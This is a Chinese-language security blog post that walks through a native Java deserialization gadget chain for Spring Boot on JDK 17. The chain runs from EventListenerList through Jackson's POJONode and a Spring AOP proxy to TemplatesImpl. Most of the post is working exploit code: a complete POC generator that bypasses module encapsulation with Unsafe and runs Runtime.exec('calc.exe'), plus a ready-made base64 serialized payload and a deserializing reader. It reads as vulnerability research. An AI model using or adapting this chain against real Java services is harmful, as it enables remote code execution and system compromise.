高版本JDKSpring原生反序列化链
前言
在《Java安全share》星球中,jsjcw师傅给出了 在高版本JDK下的spring原生链 POC,当时就想去研究一下这条链子,可惜其中有很多知识点我都没有接触过,所以这条链子的学习周期拉的长了一些
原生反序列化链
环境搭建
新建一个JAVA项目,JDK版本为17
向pom.xml文件中导入如下依赖
1 2 3 4 5 6 7 8 9 10 11 12 <dependencies > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-web</artifactId > <version > 3.5.4</version > </dependency > <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.30.2-GA</version > </dependency > </dependencies >
漏洞分析
我们先看大概看一下这个调用链,实际调用就分为三步:
EventListenerList#readObject调用任意toString方法
POJONode#toString调用任意getter方法
TemplatesImpl#getOutputProperties任意代码执行
但是在反序列化的过程中,会有以下几个限制和问题,我们需要想办法去绕过这些限制:
流程分析
EventListenerList触发任意类的toString方法
EventListenerList
类为这条反序列化的入口点,EventListenerList#readObject
方法可以触发任意类的toString
方法,在反序列化时,即可触发vector.add( ${Class} )
中${Class}
类的toString
方法,这部分可以参考我之前的文章:EventListenerList触发任意toString | CurlySean’s Blog
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Vector vector = new Vector <>();vector.add(new User ("user" )); UndoManager undoManager = new UndoManager ();Field edits = undoManager.getClass().getSuperclass().getDeclaredField("edits" );edits.setAccessible(true ); edits.set(undoManager, vector); EventListenerList eventListenerList = new EventListenerList ();Field listenerList = eventListenerList.getClass().getDeclaredField("listenerList" );listenerList.setAccessible(true ); listenerList.set(eventListenerList, new Object []{Class.class,undoManager}); serialize(eventListenerList); unserialize("ser.bin" );
POJONode#toString调用任意getter方法
第二部分就是POJONode#toString
可以调用任意类的任意getter方法
在POJONode
类其实中并不存在toString
方法,但是向上两层的superClass父类BaseJsonNode
中存在toString
方法,在BaseJsonNode#toString
方法中调用了InternalNodeMapper.nodeToString
,继续跟入,调用了writeValueAsString
方法,该方法其实做了一个序列化的操作,而在序列化的过程中会触发任意类的任意getter方法,这部分内容可以看Jackson反序列化的文章进行学习:Jackson反序列化 | CurlySean’s Blog
Spring Boot 会自动引入 Jackson依赖
而第一部分EventListenerList#readObject
可以触发任意类的toString
方法,所以我们可以使用EventListenerList
调用POJONode#toString
方法从而调用任意类的getter方法,其中我们可以调用new POJONode( ${Class} )
中${Class}
的任意getter方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace" ); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null ); } catch (Exception e) {} TemplatesImpl templates = new TemplatesImpl ();Vector vector = new Vector <>();vector.add(new POJONode (templates)); UndoManager undoManager = new UndoManager ();Field edits = undoManager.getClass().getSuperclass().getDeclaredField("edits" );edits.setAccessible(true ); edits.set(undoManager, vector); EventListenerList eventListenerList = new EventListenerList ();Field listenerList = eventListenerList.getClass().getDeclaredField("listenerList" );listenerList.setAccessible(true ); listenerList.set(eventListenerList, new Object []{Class.class,undoManager}); serialize(eventListenerList);
TemplatesImpl#getOutputProperties任意代码执行
最后一部分就是,POJONode#toString
调用TemplatesImpl
的getOutputProperties
getter方法,达到任意代码执行的目的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace" ); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null ); } catch (Exception e) {} TemplatesImpl templates = new TemplatesImpl ();setFieldValue(templates, "_name" , "name" ); setFieldValue(templates, "_transletIndex" , 0 ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); setFieldValue(templates, "_bytecodes" , new byte [][]{getTemplateCode()}); Vector vector = new Vector <>();vector.add(new POJONode (templates)); UndoManager undoManager = new UndoManager ();Field edits = undoManager.getClass().getSuperclass().getDeclaredField("edits" );edits.setAccessible(true ); edits.set(undoManager, vector); EventListenerList eventListenerList = new EventListenerList ();Field listenerList = eventListenerList.getClass().getDeclaredField("listenerList" );listenerList.setAccessible(true ); listenerList.set(eventListenerList, new Object []{Class.class,undoManager}); serialize(eventListenerList);
其实到这里我们的整个链子流程就走完了,但是其中还有一些我们开头说的一些限制,需要我们去找到一些方法去绕过
限制
JDK17模块化的绕过
在本条反序列化链中,其他的地方都是比较容易理解的,最重要的部分其实就是在JDK17中模块化的绕过。其实从 JDK 9 开始,Java 就引入了 JPMS(Java Platform Module System,模块系统),而 JDK 17 里,这一机制已经被完全强化,表现为以下三点:
内部 API 封装:以前我们可以随意 import com.sun.* 或者 sun.* 的内部类,但在 JDK 17, 这些类已经被模块系统强封装,默认不可访问
强封装机制:模块之间的可见性由 module- info.java 描述,如果某个包没有被 exports ,外部模块就无法直接访问。
反射限制:在 JDK 8 及之前,我们常常通过 setAccessible(true) 绕过 private 限制,通过反射访问类的私有字段或构造函数。但在 JDK 17 里,即使你用 setAccessible(true) ,也会被 InaccessibleObjectException 拦住,除非你在 JVM 启动时手动加 - add- opens 参数开放 模块或者使用 Java Agent/Instrumentation 来打破封装
AbstractTranslet继承
在以往利用TemplatesImpl#getOutputProperties
时,被利用的目标类是需要继承AbstractTranslet
类的,但是由于AbstractTranslet
类在com.sun.org.apache.xalan.internal.xsltc.runtime
包下,受到模块化的 内部API封装机制 的限制,,是默认不可访问的
对于AbstractTranslet
限制的去除,可以看这篇文章:TemplatesImpl 分析 🦖 Whoopsunix
1 2 3 4 5 6 TemplatesImpl templates = new TemplatesImpl ();setFieldValue(templates, "_name" , "name" ); setFieldValue(templates, "_transletIndex" , 0 ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); byte [] code2 = ClassPool.getDefault().makeClass("sean" ).toBytecode();setFieldValue(templates, "_bytecodes" , new byte [][]{getTemplateCode(), code2});
getOutputProperties访问
由于模块访问的限制,导致我们无法直接利用 getOutputProperties
方法,但是我们可以利用 Unsafe
篡改 Module
机制,绕过 JDK 的强封装机制
这里我也搞得不是很清楚,师傅们可以去看这篇文章进行学习:https://xz.aliyun.com/news/18628
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 private static Method getMethod (Class clazz, String methodName, Class[] params) { Method method = null ; while (clazz!=null ){ try { method = clazz.getDeclaredMethod(methodName,params); break ; }catch (NoSuchMethodException e){ clazz = clazz.getSuperclass(); } } return method; } private static Unsafe getUnsafe () { Unsafe unsafe = null ; try { Field field = Unsafe.class.getDeclaredField("theUnsafe" ); field.setAccessible(true ); unsafe = (Unsafe) field.get(null ); } catch (Exception e) { throw new AssertionError (e); } return unsafe; } public void bypassModule (ArrayList<Class> classes) { try { Unsafe unsafe = getUnsafe(); Class currentClass = this .getClass(); try { Method getModuleMethod = getMethod(Class.class, "getModule" , new Class [0 ]); if (getModuleMethod != null ) { for (Class aClass : classes) { Object targetModule = getModuleMethod.invoke(aClass, new Object []{}); unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )), targetModule); } } }catch (Exception e) { } }catch (Exception e){ e.printStackTrace(); } }
Jackson链的不稳定性
我们在调用Jackson链,调用任意类的getter方法时,由于getter方法优先级顺序不稳定的原因,会导致Jackson链也会具有不稳定性,我们可以使用JdkDynamicAopProxy
来解决Jackson链的不稳定性。
Jackson链不稳定性解决可以看:Jackson中getter触发不稳定问题 | CurlySean’s Blog
同时,我们知道在Jackson反序列化中,会先调用TemplatesImpl
类的构造方法,再去调用其getter方法,而TemplatesImpl
在com.sun.org.apache.xalan.internal.xsltc.trax
包下,同样受到内部 API 封装 的限制,我们使用Aop
代理后,其对外暴露的接口为javax.xml.transform.Templates
,java.xml
模块是不受限的,因此可以绕过 模块检测
1 2 3 4 5 6 7 AdvisedSupport advisedSupport = new AdvisedSupport ();advisedSupport.setTarget(templates); Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ).getConstructor(AdvisedSupport.class); constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(advisedSupport);Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Templates.class}, invocationHandler);
完整POC
这样我们就走完了所有的流程,绕过了所有的限制
这里给出fushuling师傅的Poc吧,自己写的Poc感觉不是很美观
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 import javax.swing.event.EventListenerList;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import javax.swing.undo.UndoManager;import java.util.Base64;import java.util.Vector;import java.util.ArrayList; import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import sun.misc.Unsafe;import java.lang.reflect.Method;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import org.springframework.aop.framework.AdvisedSupport;import javax.xml.transform.Templates;import java.lang.reflect.*; public class SpringRCE { public static void main (String[] args) throws Exception{ try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace" ); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null ); } catch (Exception e) { } ArrayList<Class> classes = new ArrayList <>(); classes.add(TemplatesImpl.class); classes.add(POJONode.class); classes.add(EventListenerList.class); classes.add(SpringRCE.class); classes.add(Field.class); classes.add(Method.class); new SpringRCE ().bypassModule(classes); byte [] code1 = getTemplateCode(); byte [] code2 = ClassPool.getDefault().makeClass("fushuling" ).toBytecode(); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "xxx" ); setFieldValue(templates, "_bytecodes" , new byte [][]{code1, code2}); setFieldValue(templates,"_transletIndex" ,0 ); POJONode node = new POJONode (makeTemplatesImplAopProxy(templates)); EventListenerList eventListenerList = getEventListenerList(node); serialize(eventListenerList, true ); } public static byte [] serialize(Object obj, boolean flag) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(obj); oos.close(); if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray())); return baos.toByteArray(); } public static Object makeTemplatesImplAopProxy (TemplatesImpl templates) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templates); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ).getConstructor(AdvisedSupport.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Templates.class}, handler); return proxy; } public static byte [] getTemplateCode() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("MyTemplate" ); String block = "Runtime.getRuntime().exec(\"calc.exe\");" ; template.makeClassInitializer().insertBefore(block); return template.toBytecode(); } public static EventListenerList getEventListenerList (Object obj) throws Exception{ EventListenerList list = new EventListenerList (); UndoManager undomanager = new UndoManager (); Vector vector = (Vector) getFieldValue(undomanager, "edits" ); vector.add(obj); setFieldValue(list, "listenerList" , new Object []{Class.class, undomanager}); return list; } private static Method getMethod (Class clazz, String methodName, Class[] params) { Method method = null ; while (clazz!=null ){ try { method = clazz.getDeclaredMethod(methodName,params); break ; }catch (NoSuchMethodException e){ clazz = clazz.getSuperclass(); } } return method; } private static Unsafe getUnsafe () { Unsafe unsafe = null ; try { Field field = Unsafe.class.getDeclaredField("theUnsafe" ); field.setAccessible(true ); unsafe = (Unsafe) field.get(null ); } catch (Exception e) { throw new AssertionError (e); } return unsafe; } public void bypassModule (ArrayList<Class> classes) { try { Unsafe unsafe = getUnsafe(); Class currentClass = this .getClass(); try { Method getModuleMethod = getMethod(Class.class, "getModule" , new Class [0 ]); if (getModuleMethod != null ) { for (Class aClass : classes) { Object targetModule = getModuleMethod.invoke(aClass, new Object []{}); unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )), targetModule); } } }catch (Exception e) { } }catch (Exception e){ e.printStackTrace(); } } public static Object getFieldValue (Object obj, String fieldName) throws Exception { Field field = null ; Class c = obj.getClass(); for (int i = 0 ; i < 5 ; i++) { try { field = c.getDeclaredField(fieldName); } catch (NoSuchFieldException e) { c = c.getSuperclass(); } } field.setAccessible(true ); return field.get(obj); } public static void setFieldValue (Object obj, String field, Object val) throws Exception { Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true ); dField.set(obj, val); } }
在运行时,我们需要添加一个虚拟机的配置,这里也算是一个模块检测的绕过吧,对应 反射限制 部分
1 --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
反序列化时就不需要再开什么配置了,默认即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import java.io.ByteArrayInputStream;import java.io.ObjectInputStream;import java.util.Base64;public class Read { public static void main (String[] args) throws Exception { String exp = "rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdJFIzC1z3w7eAwAAeHB0AA9qYXZhLmxhbmcuQ2xhc3NzcgAcamF2YXguc3dpbmcudW5kby5VbmRvTWFuYWdlcvF+nx0IKsIdAgACSQAOaW5kZXhPZk5leHRBZGRJAAVsaW1pdHhyAB1qYXZheC5zd2luZy51bmRvLkNvbXBvdW5kRWRpdKWeULpT25X9AgACWgAKaW5Qcm9ncmVzc0wABWVkaXRzdAASTGphdmEvdXRpbC9WZWN0b3I7eHIAJWphdmF4LnN3aW5nLnVuZG8uQWJzdHJhY3RVbmRvYWJsZUVkaXQIDRuO7QILEAIAAloABWFsaXZlWgALaGFzQmVlbkRvbmV4cAEBAXNyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJABFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAAAAAAF1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAABkc3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWV0ABJMamF2YS9sYW5nL09iamVjdDt4cgAtY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuVmFsdWVOb2RlAAAAAAAAAAECAAB4cgAwY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuQmFzZUpzb25Ob2RlAAAAAAAAAAECAAB4cHN9AAAAAQAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXN4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkpka0R5bmFtaWNBb3BQcm94eUzEtHEO65b8AgABTAAHYWR2aXNlZHQAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNlZFN1cHBvcnQ7eHBzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAZaAAtwcmVGaWx0ZXJlZEwAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAKYWR2aXNvcktleXQAEExqYXZhL3V0aWwvTGlzdDtMAAhhZHZpc29yc3EAfgAbTAAKaW50ZXJmYWNlc3EAfgAbTAAMdGFyZ2V0U291cmNldAAmTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL1RhcmdldFNvdXJjZTt4cgAtb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLlByb3h5Q29uZmlni0vz5qfg928CAAVaAAtleHBvc2VQcm94eVoABmZyb3plbloABm9wYXF1ZVoACG9wdGltaXplWgAQcHJveHlUYXJnZXRDbGFzc3hwAAAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeQPJ50kFqahMAgAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AInNxAH4AIQAAAAB3BAAAAAB4c3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLnRhcmdldC5TaW5nbGV0b25UYXJnZXRTb3VyY2V9VW71x/j6ugIAAUwABnRhcmdldHEAfgAOeHBzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAAAAAAAHVyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAFiyv66vgAAADcAGQEACk15VGVtcGxhdGUHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAD015VGVtcGxhdGUuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAAhjYWxjLmV4ZQgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAGPGluaXQ+DAAWAAgKAAQAFwAhAAIABAAAAAAAAgAIAAcACAABAAkAAAAWAAIAAAAAAAq4AA8SEbYAFVexAAAAAAABABYACAABAAkAAAARAAEAAQAAAAUqtwAYsQAAAAAAAQAFAAAAAgAGdXEAfgAuAAAAosr+ur4AAAA3AAwBAAlmdXNodWxpbmcHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEADmZ1c2h1bGluZy5qYXZhAQAGPGluaXQ+AQADKClWDAAHAAgKAAQACQEABENvZGUAIQACAAQAAAAAAAEAAQAHAAgAAQALAAAAEQABAAEAAAAFKrcACrEAAAAAAAEABQAAAAIABnB0AAN4eHhwdwEAeHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHgAAAAAAAAAZHB4" ; unserialize(Base64.getDecoder().decode(exp)); } public static void unserialize (byte [] exp) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream (exp); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); } }
参考文章
https://fushuling.com/index.php/2025/08/21/%e9%ab%98%e7%89%88%e6%9c%acjdk%e4%b8%8b%e7%9a%84spring%e5%8e%9f%e7%94%9f%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e9%93%be/
https://xz.aliyun.com/news/18628
https://infernity.top/2025/03/24/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString/
https://whoopsunix.com/docs/PPPYSO/advance/TemplatesImpl/#0x02-%E5%8E%BB%E9%99%A4-abstracttranslet-%E9%99%90%E5%88%B6
https://pankas.top/2023/10/04/%E5%85%B3%E4%BA%8Ejava%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%ADjackson%E9%93%BE%E5%AD%90%E4%B8%8D%E7%A8%B3%E5%AE%9A%E9%97%AE%E9%A2%98/#%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86
https://drun1baby.top/2023/12/07/Jackson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%EF%BC%88%E4%B8%80%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86/